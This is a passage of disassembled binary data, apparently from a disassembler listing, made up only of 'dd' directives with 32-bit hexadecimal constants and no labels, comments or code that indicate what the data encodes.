		dd 5E48ABB2h, 591B7DADh, 7779979Fh, 0B5576A7Fh,	0F6C2D365h
		dd 0BC338BF2h, 524FB5h,	0E602D67Ah, 0FC206901h,	78979694h
		dd 379A084Dh, 7D868099h, 0A2468399h, 0F58245DCh, 0FA609178h
		dd 0F204943h, 0FB887865h, 7FBC1513h, 7F10F0Bh, 30F0B1F2h
		dd 12223012h, 4740C22Fh, 0D7C920D1h, 0A0BF4B8Fh, 0BE3621E1h
		dd 1175FF3Eh, 0DF0A3966h, 0A9D6CE88h, 92AB2555h, 0DEB6DA9Dh
		dd 0F3E3E536h, 0CB36AF90h, 5AC55C89h, 0FA1FA387h, 90FE6921h
		dd 7370FCA6h, 0C4CF8317h, 0B2795ED4h, 233AB0CAh, 5E44865Eh
		dd 0A9CF9812h, 4BCF6CC4h, 0ADF93E4Ch, 456716Dh,	6CC4B592h
		dd 874D7411h, 6D41320Ch, 0BA0E808Ah, 918B868Ah,	9EC05F60h
		dd 56382057h, 0F4A814Dh, 502B52D1h, 12640D0Ch, 8462A898h
		dd 4690A0B6h, 0E4111407h, 7CAE2CB3h, 7A5405C2h,	7CE718FAh
		dd 0D24617ECh, 2089E8E8h, 0D38B2B27h, 0EBDC723Eh, 90E83344h
		dd 0B8EF6CE8h, 43D4DD07h, 75370903h, 0BA7D21D2h, 12D5F841h
		dd 0BC6986D0h, 971D2EDBh, 64D00A16h, 570D91D0h,	823658F9h
		dd 51230304h, 40AD45AAh, 3A5F8057h, 44217D54h, 414A6243h
		dd 0BBE3A538h, 0FDBA37E9h, 771D54C1h, 8D8CF5B4h, 1BB73178h
		dd 27EC13C2h, 756EA9F8h, 0A410CBE7h, 1AB635A2h,	0A1CA61F2h
		dd 0C4A712A2h, 30FD105Ah, 0C8BC90F0h, 0F60BE45Ch, 88C55CE3h
		dd 0CABE9898h, 8FE9A508h, 0CDC5F064h, 59BE5F89h, 0C1516CEDh
		dd 0E09D942Fh, 0B4243AB7h, 0AC067961h, 0F0BF5345h, 0E5C6D183h
		dd 9A079976h, 2641945Bh, 966780AFh, 820DC7BBh, 0ABB808D7h
		dd 2115F8AAh, 9EB0C57Ah, 12BF450Ch, 1D1293C8h, 2BFA12BFh
		dd 1C57EE2Dh, 0FC948A4Ch, 0B15ECC8Ah, 0CA2E8C19h, 0FDDDA057h
		dd 0FEE2D11Ah, 91CB3690h, 5FF497B9h, 5888281Ah,	9DCFD1DFh
		dd 0BD47B9D2h, 13B9C4F7h, 0F4F9DEF0h, 7BC79DEFh, 0DEE2C227h
		dd 84EF7949h, 7BCF9DCFh, 0C05DCF9Fh, 7DFE0F7Bh,	0B06C9B47h
		dd 0F7F301DFh, 8D44C50Dh, 0E7901DCFh, 477EC5AEh, 0A85AB891h
		dd 0EFF96AFh, 625773B8h, 744223BFh, 0AAD1DE85h,	9D395778h
		dd 55DE9655h, 8E992385h, 773CDEF7h, 0C5BBDE8Ah,	0DEF253B9h
		dd 0D55DCECDh, 3B9F6F7Bh, 0EF5DEF35h, 0BBDED3DCh, 0F0D3B9C4h
		dd 3B9F69DEh, 0CE9DEF43h, 0EF784BB9h, 0F7577389h, 0EEE793DEh
		dd 0EA93BDEAh, 0F79EBBDFh, 0BBDE2D1Eh, 0F44EF787h, 0F7ECB3DCh
		dd 0ABDB7A6Fh, 9695E584h, 5A0AAA82h, 0CCB36F1Bh, 0E2FFA30Eh
		dd 0EB232079h, 1D30423Fh, 6475A0E9h, 649C863Fh,	9D606F28h
		dd 2BDCC15h, 58023FA0h
		dd 3CF78578h, 377BDDF7h, 0F786F73Dh, 9EEE796Eh,	0DFFBBBDEh
		dd 0DE0B683Bh, 35EFFA7Bh, 0DB6C6E14h, 6CC6EE7Ah, 0C8EE7ADBh
		dd 0DE88F7BCh, 0DEF463BDh, 1DEFDC85h, 0F78EF7A1h, 0BDE701DCh
		dd 707739E3h, 0E73277BDh, 9F7BDA8Eh, 0EF741DCFh, 68EE783Dh
		dd 0B9D396D9h, 43BDEC43h, 7A60EE74h, 0C913745Bh, 0B8EF598Eh
		dd 9E095333h, 9778803Bh, 21CB3F33h, 0E7A45B63h,	0A45B641Eh
		dd 0F7890EE7h, 9CEE722Eh, 0B9EABBDEh, 79DB6CCFh, 0B6D924EEh
		dd 0B2B1DCF3h, 0BDF1A76Dh, 4EDB6613h, 0E3C77BA7h, 0EE74C3BDh
		dd 0E12DB130h, 0BDEA2773h, 0D78EE72Fh, 0DCEC877Bh, 0DA3BDE63h
		dd 0BDEFC773h, 42EE7C83h, 0B9F1BBDEh, 0BE5B6363h, 4B671EE7h
		dd 0C23DCEE5h, 1DFDCA96h, 0DBD2D26Dh, 0A7B9F1ACh, 0EAEFD92Ch
		dd 8DA8B967h, 0A0B0796Fh, 3917774Ah, 4AF78CD7h,	0D9E55CFBh
		dd 73DD3BAFh, 0E5DEF157h, 0F7B29DCFh, 0BA773A9Eh, 7D0BBDEh
		dd 350A2AF9h, 0FA61DEFh, 32B45DDCh, 0E7343BDEh,	5F7BDB4Eh
		dd 0F7869DCEh, 9EE7A00Eh, 9ED1DEF6h, 1DEF053Bh,	0EFA773DCh
		dd 773FA3BDh, 0F3DDEF69h, 0EFD80DDCh, 2826F6A6h, 0F168DEF4h
		dd 6B0DEACEh, 94683DB5h, 0C9567590h, 5D9E22F0h,	65E4B980h
		dd 27AD4543h, 68E3A972h, 78D218C7h, 0CCF62C22h,	0EA193713h
		dd 8636918Bh, 5E667849h, 22808876h, 0E13F1FC9h,	9312FE49h
		dd 31ECA0Ah, 0B3127478h, 0BA2AA460h, 4F9A421h, 0BD404BD3h
		dd 0A31DA669h, 0B848FE47h, 0DC4E0FC4h, 669182D2h, 2DCC53EDh
		dd 27C9745Ch, 5ABA758Ah, 0C2DFDAEFh, 73BF8AACh,	0E443752Eh
		dd 3C5C534Dh, 0E81E2A73h, 2088D227h, 2ABC677Fh,	0E9E45DCFh
		dd 858B53BEh, 6D7821D6h, 7E65DF48h, 0D48F1CE2h,	99A4F873h
		dd 0A079A8BCh, 0EE28F40Fh, 170F3057h, 389575B1h, 25ED42FAh
		dd 6EE5989Fh, 7BE310DAh, 0D55AE5E2h, 7BEDEAD9h,	0A3952D7Ah
		dd 8489795h, 5E4CE3E2h,	79AD65C2h, 25D33234h, 235DDE86h
		dd 4BDA0791h, 40A1BCA6h, 4B017240h, 2E34ED75h, 6F942C1h
		dd 0A4F20E4h, 320900EBh, 218D293Dh, 1DA55DC8h, 0BFCBFD69h
		dd 0E71F0511h, 18F2220Dh, 0C4D902E7h, 8D388E8Ch, 41A44E27h
		dd 29F80C5Bh, 2C37E557h, 8CD6B0BFh, 0D46EFA41h,	6A7040B7h
		dd 0ACE84874h, 48EBBF93h, 2CC8D610h, 8216F6A6h,	0D7D9E73Eh
		dd 0E946644Eh, 1408F627h, 0D2E7D1C4h, 0E862FC92h, 0A1E2697Bh
		dd 3A08D1Ch, 0E26634EDh, 62CA4D1Ch, 0BEC8E8D0h,	31B714B2h
		dd 5170BB1Dh, 9140E025h, 0F2B13144h, 51CD702Bh,	5C111564h
		dd 4A9CE176h, 25357FA0h, 0B2FB98D3h, 8F33EEEDh,	0B7C8B840h
		dd 0AF37F328h, 0D3E819A3h, 74C2234Eh, 176E225Bh, 27C8E3E4h
		dd 721840B0h, 0ABCC1BA6h, 0E50B9CEEh, 2A2B4627h, 0DF54269Eh
		dd 7F56C44Dh, 0D3C96FF7h, 0D025C43Eh, 0FF41948Fh, 22F1645Dh
		dd 6BD4A1B6h, 7772754h,	264C33CAh, 0FDD2A039h, 0C594D1F6h
		dd 0B9C694DDh, 0D3A01171h, 121E6065h, 0F0474978h, 18E3B528h
		dd 0FD97E4D3h, 879F9562h, 0EB93BAD4h, 2DF4D372h, 70B8EBCAh
		dd 45C06537h, 87E78047h, 41C25D64h, 8D5ABA18h, 7136C9B0h
		dd 0D1556BEh, 23019BC5h, 3B5CA9CBh, 9E38B157h, 9D577714h
		dd 93058EBh, 8944FDF4h,	4827DE04h, 4EF6BD68h, 473AE741h
		dd 0AABCE113h, 0DF445DC6h, 0F24AC768h, 36E894B7h, 78F63290h
		dd 0D1CDA2E7h, 180ED647h, 31CB3581h, 0A2E1697Bh, 52870323h
		dd 0C6784241h, 37CF0FC7h, 9B09685Bh, 9BF5F058h,	0E42971Eh
		dd 3826131Bh, 0EE05C5E2h, 736B17C6h, 4DA1BB96h,	9090522Ch
		dd 9AD68202h, 0FB056A1Ch, 5B390CDh, 0FD9C3A42h,	6FA5B526h
		dd 0A1B9CE8Bh, 0D241A603h, 7614E609h, 8380E167h, 4CC8BC6Dh
		dd 0BCAC52E7h, 72472CD9h, 0E057A2C2h, 3DA3322Ah, 1B902D17h
		dd 0E0407999h, 0F4C31ABAh, 0C5B3962Eh, 7332341Fh, 0B792F297h
		dd 0C64316E4h, 0AE28291h, 49C9AEF0h, 4DB77950h,	0CDA8C7EDh
		dd 413B31C3h, 597FB9BEh, 9BA55418h, 9D6BF55Dh, 758228Fh
		dd 17097963h, 5DC2862Dh, 36285F7Ah, 0ACE9728Bh,	0F611FCB7h
		dd 0F6FFE189h, 5CC4DBCAh, 957EBE4Bh, 4F520DF1h,	0FA383D91h
		dd 51EB3410h, 28B7E986h, 37BBD99h, 5DC2C498h, 0BE67B924h
		dd 12756E59h, 0C3613045h, 8E06026Ch, 38861A3Eh,	3FA910FAh
		dd 9D100275h, 4D85DA4h,	0C8070150h, 21FAF9CCh, 280FF2A4h
		dd 6C3E548Ch, 0C4603482h, 98701E65h, 49891449h,	0BA33B146h
		dd 78FA392Bh, 69BBF8B6h, 2C26844Fh, 0C503FDh, 0B632F64Dh
		dd 8BB834Ch, 87557AC8h,	97E608BBh, 0A62237DEh, 10D58871h
		dd 0C5E6A69Dh, 0DEB04277h, 0EBE8E6C2h, 9F0B9FB4h, 0B9676DFCh
		dd 3D20D829h, 0AFD19709h, 1772CAAEh, 0EA5D77F1h, 2C2BA751h
		dd 0CD3E8E5Dh, 563B61AAh, 0C6E80B3Fh, 6B938578h, 41CC6868h
		dd 0A81C4C21h, 4201F41Ah, 56B075ADh, 17CCEC3h, 67615207h
		dd 12201F9Eh, 10586070h, 9D858AA9h, 0E9460225h,	2347E84Dh
		dd 30D5D4ACh, 44A2ED7Bh, 62DE9FA0h, 0A5C0976Eh,	10E18EDEh
		dd 630293Eh, 0A0D043DAh, 7562E287h, 0E12560F1h,	8CD2E81Ch
		dd 4D78C282h, 84BAC2A2h, 0FD58A890h, 0EDCA97A0h, 40F71361h
		dd 0C95ECDFh, 0C509F2A6h, 0A9E648C5h, 21BF2554h, 3EE15396h
		dd 0AE651677h, 0B6427A67h, 4543C09Fh, 0F10B9C66h, 2FDE0EF6h
		dd 0DEE063DAh, 0BACC8A41h, 12EE1C1Ah, 2078BF38h, 742406BEh
		dd 4255457Fh, 7D136F9Dh, 88BFD78Eh, 0AC339562h,	0FE117ECCh
		dd 0A187A2ABh, 0C1B6F50Eh, 22FD61FBh, 11B5FFA9h, 5C922A63h
		dd 0E97EC1DBh, 917385CBh, 8FE4C768h, 2E5F3A54h,	210F42DEh
		dd 297563A1h, 3E3A437Ch, 0E8307635h, 0CBE976A6h, 0F89CD8E1h
		dd 891B143h, 14DD1B15h,	54D7893Ah, 1DD4FBE7h, 0A7C9ACCBh
		dd 6E3155FEh, 0CED5093Dh, 0C4FA1819h, 9BB1C41Dh, 7F125CE2h
		dd 89B991C7h, 0D70FCD39h, 0BD553E2Bh, 0E9C8D848h, 0E8D62EB7h
		dd 0C639833h, 51C8B3F4h, 8CB55BECh, 0A742799Ah,	6FE46F9h
		dd 0A7131B16h, 0BE4D260Fh, 0B101D794h, 6876BE26h, 0BE3A35B8h
		dd 6B36C982h, 0FB68C2BEh, 0CD3E1AB4h, 53F8509Dh, 0D1BEB7C8h
		dd 0FE128D89h, 6277AE22h, 6614676Ah, 8329249Ch,	5AC21923h
		dd 0A1D6E690h, 108E8757h, 0ADA53EB7h, 629F801Dh, 274CB8h
		dd 66146CBFh, 664B9786h, 4FA5335Ch, 0FF48E063h,	32D0380h
		dd 24F3A470h, 3885FADFh, 2692D9A2h, 0FFF28F51h,	0DD3E53F5h
		dd 8A5EEF3Fh, 0D1C3A5D9h, 8A4A7D97h, 2ABA95E7h,	0F9B5FD1Ch
		dd 29E55614h, 74232ACh,	0B48A24AAh, 3A45E3A5h, 0BF8D917h
		dd 8380EE0Eh, 0DA6153DAh, 0D595654Fh, 0BB9A28D6h, 66E52490h
		dd 994172E3h, 9016F348h, 5293663Ch, 0CB8CC1C0h,	9A549999h
		dd 0F3A97E23h, 1DBD3597h, 64E1FCA9h, 2C6A9BCDh,	9FB2F238h
		dd 38E3906Ah, 9CE306A9h, 7AFE0446h, 4E0608B0h, 52FB7C3Fh
		dd 2126FDD4h, 29F49436h, 72CF0A2h, 0A55BCEh, 4727FAA8h
		dd 7CC5FBCAh, 8B4A879Ah, 34F875F2h, 797DBE34h, 92C51231h
		dd 294984A4h, 11A52F98h, 0E1799615h, 89804637h,	0DDF9831Dh
		dd 36ECCBh, 19098187h, 3005FCC2h, 5FC33C74h, 0D2CD88A7h
		dd 0CB5E700Eh, 40BE41C0h, 8B750CEEh, 6383BE9Ch,	821BEC1Ah
		dd 0E6D0A0B8h, 685A815h, 0C955A232h, 0F4894C4Eh, 86B89487h
		dd 0D520DDB9h, 0E35847A5h, 0DDA8FA1Dh, 2EDCD7B7h, 0C62F94B3h
		dd 4C811730h, 0F025B3A3h, 0B71E7A6Eh, 0CFAD3F88h, 0A875D772h
		dd 9EEC9F2Eh, 86FB8220h
		dd 25644163h, 0D58C2730h, 0F0E03445h, 0B5E791C1h, 3224DC4h
		dd 48DC8DAh, 9E41562Eh,	465F172Ch, 192DD1Fh, 944353FFh
		dd 4F5DE55Fh, 3F2C0A0Eh, 0BD2006F5h, 0DCEC26D2h, 6F66A400h
		dd 6113F609h, 0F21FA624h, 2F6C45E3h, 9AB1792Dh,	0F2DB8EE5h
		dd 3B70E661h, 0C3E527D8h, 90FD6D7Ah, 0BCCCCC67h, 0EE6613EDh
		dd 31B9B187h, 7D9C8A0Dh, 23017254h, 9CE8A8FFh, 9EF4D223h
		dd 824DA8D9h, 4810B0A9h, 0F6248B40h, 721A448Ch,	0BADA3E4Eh
		dd 0DC85F7D4h, 8EEA4CA2h, 1430192Ch, 38A4BB08h,	11D02449h
		dd 0FA60833Fh, 0A9702462h, 5ED0C4EFh, 924A4F6Ch, 0E6648027h
		dd 0DB86910Ch, 3B0A9556h, 76AF73BFh, 0CE2714A8h, 98962F25h
		dd 11C7DBF9h, 10E17C4Bh, 1D44F8D1h, 77C45C9Dh, 60EA0199h
		dd 0A5DA1A11h, 0D2533D90h, 3FC54BEh, 0F4F913Ch,	150C41C7h
		dd 527D0295h, 726ED1D7h, 0B17A2060h, 0EAEF9AF7h, 254005F3h
		dd 200096F2h, 7CA2F6AEh, 8BB51809h, 3074ADF9h, 0A648C561h
		dd 9AEEC901h, 0CC342D6h, 0F34B204Eh, 0A0928E53h, 0B3B26BFh
		dd 2A176FF1h, 73C18B24h, 663E8708h, 5C12F23Dh, 502E53C4h
		dd 0DC73A3BEh, 23179A61h, 0EC7394F1h, 0DED44634h, 2C4B6044h
		dd 67ED1AE2h, 0CA2E82F0h, 152C37ECh, 12D6B81Fh,	867C6282h
		dd 0DFD65194h, 410CCDB0h, 2FA9DA99h, 0A1BE39A6h, 0DE6B3623h
		dd 0AE61DF83h, 3E16854Fh, 0F71AC3CBh, 502A6F6Eh, 1F6677DBh
		dd 5AF1DEB6h, 90D82A7h,	44CE9755h, 0D7528355h, 4C4DAF91h
		dd 4633F1D1h, 0D23ED4DCh, 0BC90101h, 57256C3Ch,	1DE1612Fh
		dd 0D0271A25h, 179B1229h, 1BF6733Bh, 0EAB159E7h, 0D7C2CF8Ah
		dd 8C4CEF19h, 2B189B55h, 4AE3DB31h, 0DF44F8ADh,	412CCC8Dh
		dd 0E400F2CCh, 4D563439h, 2E73180Dh, 0E1175262h, 66750466h
		dd 0D7662489h, 95084387h, 0CE01DF78h, 841588CAh, 4694E6B9h
		dd 0E6B93452h, 2CC4FA0h, 0E040C599h, 1667BBDBh,	4AC4694Eh
		dd 81C9C65Fh, 0FAD481A6h, 0C808EDCEh, 3C823584h, 0D70086FBh
		dd 9F65D5E3h, 3BCC4486h, 6F9279A4h, 0A312BF67h,	0CDC70661h
		dd 24C9E90Ah, 0D30A40F6h, 0B7B89CD5h, 0CDBEAD4Fh, 896EF0CEh
		dd 831D4B99h, 0B573E0BCh, 0E355DE40h, 0A0E41922h, 90A97E3h
		dd 353D606Dh, 4FD03EEFh, 0F3BAF9CDh, 0C735136h,	0DB1A7982h
		dd 5DB6B71Dh, 0F891B189h, 77411909h, 1616CCD5h,	4E6AF503h
		dd 457CDE8Dh, 4A7D2531h, 0A2BF4F8Dh, 9CCB577Bh,	0BEF719DBh
		dd 40B1C73Ch, 29781138h, 208AF116h, 0F40EE21Ch,	9C964145h
		dd 3A10D887h, 213CE850h, 0E4650A3Ah, 53BE0A60h,	0C43CF708h
		dd 83FD031Bh, 0EED98604h, 0F511F722h, 85B46396h, 0E263A6FDh
		dd 2FB0C802h, 0CBCC5C39h, 988E7917h, 4708F258h,	432E1277h
		dd 624753E4h, 120676E6h, 58220742h, 2F9B2350h, 0D4BAE137h
		dd 9D15D17Ah, 4A62A659h, 4B3334CFh, 64841115h, 0DDA8F55Bh
		dd 0BE28A11h, 315F785h,	4551A20Eh, 2CF3079Ch, 4051CEFh
		dd 0B3E457AEh, 47877A35h, 5D421DEBh, 0EC850DB1h, 728B934Dh
		dd 0B690227Ch, 0FC90F063h, 989221E4h, 0EA0C83CDh, 0F5BC45DCh
		dd 0DC50E428h, 5514FF01h, 0FBE6C5FDh, 97480C84h, 763B5885h
		dd 772FA411h, 0A2FA3865h, 0B876869Fh, 0CDAEB968h, 137CEF4Fh
		dd 6D1FB2D3h, 31761B9Eh, 9F06BF96h, 92758FDEh, 38AF0268h
		dd 0E7AA97ECh, 217397FBh, 97B4257Dh, 27043F8Ah,	81BA96Eh
		dd 0BAF8147Ch, 5FB0E2B3h, 3A971445h, 77B70CBAh,	175A866Ch
		dd 894BA693h, 0FA2AB1F5h, 60326384h, 5A048C70h,	0F6AB4119h
		dd 5B81FA1Eh, 21C0D356h, 0C4F943E1h, 9D8B18D0h,	4E18C695h
		dd 0FF5424F2h, 0DD49FDD4h, 5917AB8Ah, 0F237D12Fh, 0D6C62F4Bh
		dd 7897DF49h, 0E9D59977h, 0E9B138B4h, 0A2260D0Dh, 7FF2C1CFh
		dd 0BD792242h, 876D5B16h, 16A89089h, 24FB522Ah,	7C29F32Ch
		dd 0D66DF6DFh, 2B0EB8B4h, 1734FFDh, 62F945C9h, 577B6D79h
		dd 9E4993FDh, 7B88B862h, 77E53C9h, 14DE6D61h, 7913E81Dh
		dd 0EF8CD422h, 0DB6D4422h, 0DC62BEAAh, 0BFD0FE49h, 32E9487Ch
		dd 8BE527F1h, 0BF979569h, 0A27CC3C4h, 9543CCBAh, 3662E81Fh
		dd 0D8FD1CEDh, 0ED020E07h, 6A1589FDh, 4603D01Fh, 0E8C5E204h
		dd 4BFC7D05h, 215A7AC6h, 0E7477054h, 6BEB1F8Ch,	440D730Eh
		dd 0C6E88417h, 468EA75h, 4D85488Ch, 94D72664h, 15AA4463h
		dd 1FCFB060h, 0A153F814h, 864FB622h, 40BEC97Dh,	0D2A328A8h
		dd 2B8AE017h, 1D25958Dh, 0CCA1E754h, 98BAEE42h,	8BB96734h
		dd 0BF161CB5h, 7B3A6589h, 0EAE243D4h, 983771B7h, 0E4C27CC6h
		dd 6427B643h, 3C58BDE2h, 3EEFBC43h, 9D136E1Fh, 48C543B4h
		dd 2C3B4470h, 4CF22A19h, 5DC4F598h, 7ECB5D4Dh, 0A7E50D42h
		dd 2A278118h, 9313A30Dh, 0CEB53AD4h, 0B8F6DE42h, 226E1F0Fh
		dd 0FB920F4Ch, 815A6E3Bh, 1CAFC18Bh, 0F89182BFh, 0D46052F0h
		dd 425FD1D9h, 3484D490h, 0C0E21CBEh, 0C31412C5h, 1FE22E11h
		dd 71DB3402h, 1971A679h, 8D2B842Fh, 0D05FD1Dh, 241CBF7Ah
		dd 0F02677E5h, 8EBF32DCh, 35B39FA3h, 0B9F462EEh, 0FC6D7917h
		dd 41869113h, 0A40F205Eh, 0D887BB77h, 0AB368E7Ch, 809E4B25h
		dd 46435D3Fh, 1FDEC2CFh, 4EA4B4C0h, 66BAEB00h, 5E04F316h
		dd 9E45A0CCh, 16037352h, 82C203D7h, 0D8351CDAh,	6A7D75Dh
		dd 23E34198h, 1070B576h, 60716BF3h, 0B4E45F88h,	96668109h
		dd 0EC4EC263h, 0EA5E634Dh, 0EF988DCh, 7F3B57C2h, 6C232511h
		dd 63272511h, 0B45926FBh, 229CD307h, 0AD40B9C6h, 0F0D9AE4Ah
		dd 2F1EEF2Bh, 0F33E53F9h, 987CA093h, 7AB914EAh,	8C556B7Ch
		dd 5C28B7D9h, 0C98276C4h, 924DC7F6h, 0D7F1B91Dh, 4DDF527Dh
		dd 9E4AAB5Fh, 17E9622Dh, 0EF91773Bh, 0A5FA9E61h, 7EB78A4h
		dd 0EB60FEFBh, 432B10F8h, 29DE3E45h, 0D0812941h, 0AE901E1Ah
		dd 31796279h, 0DD8AAF53h, 0AAD33C55h, 82559B26h, 62E40F91h
		dd 0EE2FF628h, 0A80BCA08h, 927310B3h, 8026C24Eh, 68F58E12h
		dd 943B1665h, 39C087DDh, 23D726BBh, 7AD2B380h, 0C8876A5Dh
		dd 51C1D4BBh, 0D29CE62h, 82554134h, 32987147h, 0B90C2170h
		dd 874D6048h, 6E2155E1h, 0AF521072h, 418F26FBh,	18E20F70h
		dd 0A8DA0E30h, 81AA812Ah, 33A19E90h, 21D2797Ch,	7FE90FBEh
		dd 641620CFh, 0EEA80709h, 4C0D5AAAh, 0C913078h,	1A0F7901h
		dd 0E27066ABh, 88450A93h, 0BB25513h, 0EA0B045h,	460B8101h
		dd 9B603275h, 4E207EDAh, 88983E45h, 2B9B414Dh, 5AE10F3Eh
		dd 45A9AA0Ah, 0C760FD59h, 0A49C530Fh, 6BA08117h, 5686B422h
		dd 3176DA81h, 0F3215FD1h, 0BE9BEA09h, 465FCD23h, 82CE23F0h
		dd 83213C3Eh, 4F3D84CCh, 932B3B81h, 0C1139D68h,	0D5DE499Dh
		dd 26A7E6EFh, 275ABACh,	26A7E99h, 0FB0AAD93h, 0FA3842BBh
		dd 461C9308h, 990CA981h, 7E11F470h, 0B26E0C3Bh,	0F03BD63Fh
		dd 0FB4E7C19h, 649DF41Dh, 377C4A7Eh, 8C91F9FDh,	2CA5FD4Ch
		dd 65254B7Fh, 0DB601971h, 0EF0CD07Fh, 2C8525FEh, 2973C26Ch
		dd 89B6098Dh, 0A4FA3881h, 2E2197DAh, 190D6136h,	450DE1D6h
		dd 0E2DE7297h, 3E1A08CEh, 0F1361BE1h, 0DAA0645Ch, 62F014B8h
		dd 0E1E3E6ECh, 82499F9Ch, 9461A43Ch, 873FD5E1h,	10A72DC1h
		dd 1C4C538Eh, 90F0550Dh, 792B07E3h, 0B286D341h,	1287D7CDh
		dd 0CFB4C1F5h, 5BB4041Ch, 0F84F78D2h, 3993BFC1h, 792F1823h
		dd 7408DF37h, 9CF66139h, 0ADF663D6h, 89EBF227h,	3973D778h
		dd 3CA9363h, 0A39CB93h
		dd 97229E5Bh, 3CC97E33h, 0F0CF0DD5h, 0EDFE3C72h, 4E627885h
		dd 5A0B8375h, 4C14172Fh, 671C994Eh, 0C2E162EDh,	57417366h
		dd 0A9C6662Dh, 0F02262CCh, 6CF363A9h, 9063045Dh, 0C4C54F36h
		dd 2B39DD4Fh, 98DE27F1h, 0C73C8B85h, 6D4C89EDh,	0E59B8D3Bh
		dd 2BAE1BB4h, 1373D402h, 0FF29FA1Ah, 0A023F0D6h, 14D38E0Ch
		dd 56D8C3Fh, 0B52FEBA2h, 0D6D43AD5h, 46C1A52Bh,	3F2844CAh
		dd 60552C94h, 2C26C945h, 0ABAE9BD3h, 0E3EBF92h,	11D1EB02h
		dd 0ED70FA50h, 279D907h, 8ED6BD1Dh, 44FF1441h, 3FE107E9h
		dd 60EB86AAh, 0A0FC7550h, 3140FBE6h, 79EEECEEh,	0DFFCA81Fh
		dd 0B7368A1Ch, 0AC3D3438h, 0E9766B58h, 0F7DC41F9h, 28BF9483h
		dd 889CDC83h, 82FE8BFh,	0C1AEFBFCh, 1F8E99CEh, 0CC3BF074h
		dd 0E56AE9ACh, 0F4C10A1Fh, 0DB02127Dh, 0C96F02C6h, 6A70A7CCh
		dd 0F0C4BAD5h, 3B62E3DDh, 0B4189DAFh, 4F662F24h, 3B1ABA6h
		dd 0BEA570B2h, 0E36F2EC3h, 517D26A7h, 0D1234E0Dh, 0BE4608A4h
		dd 0CDC3F11Fh, 13EDA03h, 0D3589323h, 0CC3E3888h, 706286Fh
		dd 79923883h, 0CDACB142h, 2F145D84h, 26B125D0h,	0AF88360Dh
		dd 5F0425E2h, 0F30C7424h, 4D03FB3Bh, 35C7ECEh, 0E73CC5C7h
		dd 423A21DBh, 9AD5DE46h, 113900E5h, 0F5B94418h,	682E8453h
		dd 3B81B94h, 657E20FFh,	5E50EFB2h, 300F0C4h, 1578A42h
		dd 140AD664h, 0B0DC91B8h, 5F08F8Ah, 0C16312CDh,	417F05CFh
		dd 86B77AD0h, 461F0FCEh, 0C4DB4172h, 0A33DCD07h, 0C8667D67h
		dd 1DE26901h, 7F604272h, 0AC6E6F01h, 84F82857h,	9EF45480h
		dd 1E7BB21h, 7A57C648h,	0E75F02B7h, 0D08068AEh,	867B99F8h
		dd 90379EEFh, 0AEFB2F8Ch, 776A2100h, 1A107305h,	199EFE5Fh
		dd 0F58973DFh, 70AB859h, 0F2151237h, 9FA800BFh,	206677E6h
		dd 3DC8BC34h, 6D9EE103h, 712CE840h, 0B9EE68CFh,	0E967420Dh
		dd 3DC4067Bh, 0A73EB07Bh, 0FE14CFD9h, 19BF6FCCh, 844A1EB0h
		dd 9A06C39Dh, 0EBB0926Bh, 3D7ACD2Eh, 0C73AFDE3h, 0AFDC48DCh
		dd 0FA363804h, 32BC24ACh, 37B377D9h, 2ECC263Fh,	0FB024AC2h
		dd 0AB17EEF8h, 4D6F99C2h, 477E7623h, 13C5B99Ch,	0F253CAEFh
		dd 0FC721C02h, 0D05C1944h, 0B644331Eh, 0A4D86084h, 0C903931h
		dd 4E3D9980h, 5BB22DA4h, 69182210h, 3242933Ch, 33E1BAB6h
		dd 0AB08DC5Ch, 0DC9EF307h, 5C2EF745h, 701E97F5h, 70568CF0h
		dd 5F47332Ch, 1DB8CABEh, 27F304A3h, 0A7D2A2F4h,	7C0C76F6h
		dd 0C3341712h, 0DE87DEBEh, 0A8FA4DC2h, 0F96D885Fh, 0E25DFA96h
		dd 5803039Dh, 0B46D484Fh, 0A3CC4603h, 0D24DDF3Bh, 0D345DCAAh
		dd 49A8F04Fh, 0C105901Eh, 3C16409Ah, 8C6FD3E9h,	82FC2092h
		dd 59F5891Eh, 6724F1D3h, 0C6F02FD4h, 0FCDE0DF5h, 0B792F80Eh
		dd 3E362EE5h, 27D76919h, 0BDB776A5h, 1B346B90h,	8D7F241Bh
		dd 98B991F1h, 249CDAA7h, 0D26E2B3h, 81292A17h, 0B323021h
		dd 21A68703h, 450CF479h, 7EA9AE5Ah, 837058D3h, 0CAC2706Ch
		dd 322E8D44h, 1344F6E3h, 81CFCA71h, 8D33DF40h, 0CA27C718h
		dd 606B4A6Dh, 0A2B9204Dh, 5781C8BFh, 0E273077Bh, 0EE0D3792h
		dd 0B84E14A0h, 81BE09B8h, 924E6E61h, 0FB903045h, 51BD574Bh
		dd 7A03C95h, 0E83727D7h, 45A8D22h, 214C7EFAh, 5FF097E4h
		dd 8B7F84BBh, 34E005C9h, 0BF1FE7DAh, 31C9B4C0h,	0ED6AB66Ah
		dd 0CF28183h, 9C04E289h, 0D92EBAE7h, 9A5B5150h,	96913238h
		dd 0CCD46A4Bh, 9360FD01h, 19C7025Dh, 0FB6A1E7Dh, 0BD20EB12h
		dd 10DE9DE4h, 8BE61A83h, 62CFCEF9h, 407C24D6h, 9C7926F3h
		dd 9DD2756Ah, 4ED8A0EBh, 68B84A0Eh, 75E605DAh, 0E2204C8Bh
		dd 0EEC54230h, 0EECE8380h, 620E8380h, 9E42F80Eh, 7820FADFh
		dd 0D998FA9Bh, 3A3A1269h, 832E284h, 0ED137165h,	7BC96341h
		dd 0A5549BF2h, 77A5D9Ah, 213DBB51h, 9A8D0770h, 92CC92DFh
		dd 2F02EEC2h, 2B690A32h, 633E3103h, 3E8E4DD2h, 39D6F6F3h
		dd 1C9D315Ch, 0C1D18385h, 35A2C7E9h, 5E313724h,	0BEB09DCh
		dd 3A3189DAh, 9ACD3C9Ch, 0FB53015Ch, 5C162CCh, 578145h
		dd 8CA0160h, 18BA0070h,	0F5F5E939h, 0E65874DDh,	7C11D907h
		dd 0D316F59Eh, 0B6B765A6h, 0CA55D99Bh, 8ADB250Eh, 0EB5ED99Dh
		dd 0B699365Ah, 8DF09EEAh, 4B3C83B2h, 0BEFD371Dh, 0CE12308h
		dd 5A724D05h, 95640C12h, 0B3992C4Ah, 0A228A0A4h, 0FD4BF228h
		dd 57BE5596h, 4D214962h, 4CF373DDh, 6E91D9AEh, 45A2AC9Ah
		dd 0E8D7A4CFh, 1D4CDB14h, 36A58A6Ah, 10D275D3h,	0CFB13456h
		dd 0D2BDA5EEh, 7750D9ACh, 57275BACh, 1A2401DFh,	0DACFB05h
